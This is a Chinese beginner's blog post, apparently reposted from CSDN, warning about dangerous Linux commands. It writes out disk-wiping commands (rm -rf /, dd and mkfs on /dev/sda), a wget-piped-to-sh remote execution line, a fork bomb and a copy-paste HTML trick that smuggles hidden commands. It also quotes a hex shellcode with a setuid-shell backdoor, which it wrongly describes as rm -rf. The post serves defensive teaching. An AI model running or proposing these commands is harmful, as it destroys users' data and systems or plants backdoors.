linux入门必看

linux 入门必看-----之作死操作

作为linux的学习或是使用者,不仅仅要熟练掌握常用的功能,还要避开危险的命令,这样才能让自己的系统更加稳定的运行。

下面是简单介绍一下。

本篇目录:

-常用命令

-注意点

-大招

以下的命令均非常危险,请勿在真实机上执行,数据无价且珍惜!要测试请在虚拟机上运行,若由于以下命令出现损失,本人概不负责!!

常用命令:

-----------------------------------------------

插嘴:

linux把所有操作分为三类:读,写,执行。其实本身这三项操作没什么危险之说,主要是由修改了系统运行依赖的文件,或是重要珍贵的数据,再或者是在浪费资源(比如循环执行没用的命令,或者白白占用内存硬盘网络等)。说白了,就是计算机产生了我们不希望的结果。

其中只是把文件删了的还能恢复(删除操作只删了索引块,未对实际文件所在位置覆盖写入),而覆盖写入则不容易恢复。

-----------------------------------------------------

1. rm -rf 命令 
rm -rf命令在Linux下通常用来删除文件,删除文件并不在乎该文件的权限,而只是在意其父目录是否有写权限。先介绍一下,下列是一些rm 命令的选项。
rm -r 命令递归的删除文件夹,包括非空的文件夹。
rm -f -f这个参数只是表示不必确认,而是直接删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。

常用命令 

rm -rf file:删除名称为file的文件

rm -rf *: 删除当前目录的所有文件。
rm -rf . : 删除当前文件夹及其子文件夹。

危险举例:
rm -rf / : 删除根目录下和其下所有目录及文件(除了正在运行的misc net等硬件文件,sys目录下的一些系统文件如:挂载的磁盘信息等外 ,所有东西全没了,【结果:除了bash内嵌命令外均不能使用,且下次开机会卡死在grub界面 无法进内核】。别问我怎么知道的,自己试试,仅指虚拟机)。

所以当你要执行rm -rf命令时请留心一点。可以在“.bashrc”文件或下面这条命令对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。

2. alias

这条命令从名字上可以看出,别名,即给一个命令起一个别名。先来看一下正常操作:

直接alias 时可以查看所有设置过的别名。

  alias ll='ls -l'                  (一般发行版linux帮我们设置过了)
  alias ls='ls --color=auto'(一般发行版linux帮我们设置过了)

可以自己设置试试,让长且难记的命令变得简单(注意等号后面没有空格,退出后就不生效了,若想生效在~/.bashrc中加入,不过这样也是仅对当前用户有效,执行source ~/.bashrc使得文件生效):

  alias grep='grep --color=auto'
  alias l='ls -CF'
  alias la='ls -A'

       alias rm='rm -i'    #这条命令可以使得每次删除时每次都会提示,就像windows直接删除时候一样,需要确认,以免误删。

unalias可以删掉设置过的别名(退出登录后还原)

危险命令:alias cd='rm -rf'    这条命令将 cd 作为rm -rf 的一个别名,这就很坑了,,,cd是切换目录命令,几乎是最常用的,有啥不讲你也懂得。

3.  >

这个箭头表示把它左边的内容或者命令的执行结果输入到它右边,但是会覆盖掉右边的内容,其实这个命令也是常用的命令,比如创建一个新文件并写入内容hello: “hello” > newfile 就可以完成,相当于touch newfile,然后vi newfile,进入后输入 i 进入编辑模式,然后写hello,最后esc 再输入:wq ,前者操作非常方便,当然还有清空一个文件等等,十分方便。另补充:>>表示追加,不覆盖。

但由于它是覆盖写入,那乱用就会有危险,比如 > /dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中(/dev/sda一般表示硬盘,也就是说该命令会清空硬盘内容)。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

4. mv

mv表示移动文件,或者重命名,也是最常使用命令之一,但还有个东西(/dev/null),相当于回收站(不可回收的那种,扔进去就回不来了)那么如果使用 mv file /dev/null,就会把file文件删掉
这个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(这种删除也可以用恢复软件恢复)

危险举例: mv /home/user/* /dev/null

上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

5. wget

wget命令可以说是linux下面的上网或者说是下载操作,会经常用到,但是如果使用不当,也会带来一定风险。

举例(与 | sh 组合 ):http://malicious_source -O- | sh
上列命令会从恶意源下载一个文件(可能是脚本,甚至是恶意的),并用shell执行。wget命令会下载文件,而sh会(无条件的)执行下载的内容。
注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(所以,可以先wget下来,然后看看其中到底写了些什么,然后考虑是否执行,不要直接加 | sh。)

6. mkfs

其实是make filesystem的缩写,用来在特定的分区建立Linux文件系统,俗称格式化。常见的文件系统有ext2,ext3,vfat等,可以通过 ls /sbin/mkfs.* 命令查看这个命令,发现执行mkfs命令其实是在调用:mkfs.ext3 | mkfs.reiserfs |mkfs.ext2 | mkdosfs | mkfs.msdos | mkfs.vfat。

格式化主要的目的不是删除,而是将文件系统按一定格式来重新划分它,但这么做会导致清空原来的数据。

举例:mkfs.ext3 /dev/sda
上列命令会格式化块设备‘sda’,linux中通常不会直接使用/dev/sda这样的设备,除非是作为raw设备使用,一般都需要将新的硬盘挂载,转换成可以识别的文件系统格式后才使用(windows下一样)。当然,格式化后,硬盘中原来的数据自然会消失。

补充:mkfs.cramfs 也是格式化,但不需要管理员权限。

7. dd

其实这个命令很好用,主要用来拷贝时做些数据转换,比如复制文件,备份等,但是会覆盖写入。先举几个正常例子(从百度百科复制过来的)。

1.将本地的/dev/hdb整盘备份到/dev/hdd

dd if=/dev/hdb of=/dev/hdd

2.将/dev/hdb全盘数据备份到指定路径的image文件

dd if=/dev/hdb of=/root/image

3.将备份文件恢复到指定盘

dd if=/root/image of=/dev/hdb

4.备份/dev/hdb全盘数据,并利用gzip工具进行压缩,保存到指定路径

dd if=/dev/hdb | gzip > /root/image.gz

5.将压缩的备份文件恢复到指定盘

gzip -dc /root/image.gz | dd of=/dev/hdb

危险举例: dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据,由于是覆盖写入,这时恢复起来就比较难了。

8.mount

mount是最常用的挂载命令,所有储存设备都需要挂载后才能使用,系统盘是在你装系统的时候就设置好默认挂载的,如果乱挂载会导致一系列问题。

举例:mount -o remount,noexec /hmoe

上述命令-o是高级选项,remount是重新挂载,noexec表示不可执行,意思是把home重新挂载了,而没有执行的权限,这条命令用完了可以使用mount -o remount,exec /hmoe 恢复,列在这里不是代表他危险,而是如果执行了上面一条,忘记执行后面一条,则执行的时候会有权限问题,如果很久才使用,可能忘了是什么原因导致的不能执行,而且不易发觉

#以上是写,下面举例执行*****************

9 git clone 

git clone可以说是程序员必不可少的技能了,但是如果克隆恶意源,会浪费自己系统的资源,导致死循环

举例:

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

#而源码:
 

<p> git clone
    <span style="position: absolute; left: -999px; top: -999px; ">/dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!<br>Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd<br>git clone </span>
    git://git.kernel.org/pub/scm/utils/kup/kup.git
</p> 

死循环啊。

10. :(){:|:&};: 命令
这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃(内存溢出)。
:(){:|:&};:

第一个冒号表示函数名,括号表示参数(这里为空),花括号表示函数体,这个冒号表示调用自己,竖线代表管道,后面的也会执行,&表示在后台运行,最后一个分号表示执行这个函数。

11.安装命令

各个发行版通常都有自己的软件安装程序,比如 yum、apt、dnf、zypper 等等,通常都有类似的参数比如 -install,uninstall 等

而要小心的是卸载命令,比如zypper rm GRUB2,结果是把内核卸载了,后果你懂的,总之这类命令要注意~

12.chmod

chmod是修改权限的命令,但乱用也会造成危害甚至没法开机。

举例:chmod -R 777 /,-R是递归,777 / 是让所有人对所有文件的操作权限都为最高。但这样会导致无法开机。

13关机

linux不像windows,是多用户的系统,一般不进行关机,原因不在此详细叙述,总而言之,关机不安全,而不恰当的关机更是如此:

halt

poweroff

init 0

都是不正确的关机方式。

------------------------------------

插嘴:

我认为其实根本不存在什么危险命令,只是因为root权限太高,而linux太忠诚,让他做什么就做什么,让他服务你的客户他就服务你的客户,让他自杀它立马自杀(修改系统运行所需文件)。

而windows中的Administrator其实不是所有者,权限也很少,让他自杀他不会去做,而是提醒和反抗你。

既然它这么听你的话,那就要好好对它啊,才能让它更好的完成我们交给他的任务,当涉及到系统文件或者宝贵数据时候要小心啦~

-------------------------------------------

恶意命令:

恶意命令是制造者为实验好玩或满足自己虚荣心、攀比心理、幸灾乐祸等心态的产物。(类似开玩笑开过头)。也许制造者并无恶意,但是由于.....等等等等(包括种种原因,略过)。总之,它大多对你是未知的,对你的计算机有危害,下仅举例。

一、隐藏命令 
下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。

举例如下:相当于rm -rf

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

不仅如此,恶意代码也可能在大型的源码文件中,也不容易找出它。

因此不要轻易编译/运行未知来源的代码。

二、tar boom

(比如解压一个未知的tar文件,有可能是恶作剧者制造的由很多文件打包在一起的tar,如果直接解压在当前目录,有可能让当前目录文件杂乱),或者你已经收到一个压缩文件,你被要求提取,这个看起来很小的文件,可能小到KB。事实上,该小尺寸的压缩文件包含高度压缩数据甚至可能几十几百G。

所以解压未知压缩包前可以先看看里面有啥

三、谨慎对待系统文件

比如系统自动执行的地方

.bashrc(登录系统自动执行)

/etc/fstab(硬盘自动挂载)

/etc/inittab(开机要做的事情)

/proc/sysrq-trigger(内核相关调试文件)

...等等

执行脚本,尤其定时脚本

特殊文件dev/null     dev/zero 等

//***********************************************************************

最后大招:

危险的命令往往是不知道的命令,所以要多加学习。

最最危险的不是知道多么多危险的命令,而是小白登陆了root。

因此学习的时候建议不要以root身份操作,需要时su,用完了exit,会更安全~

猜你喜欢

转载自blog.csdn.net/qq_35425070/article/details/85092666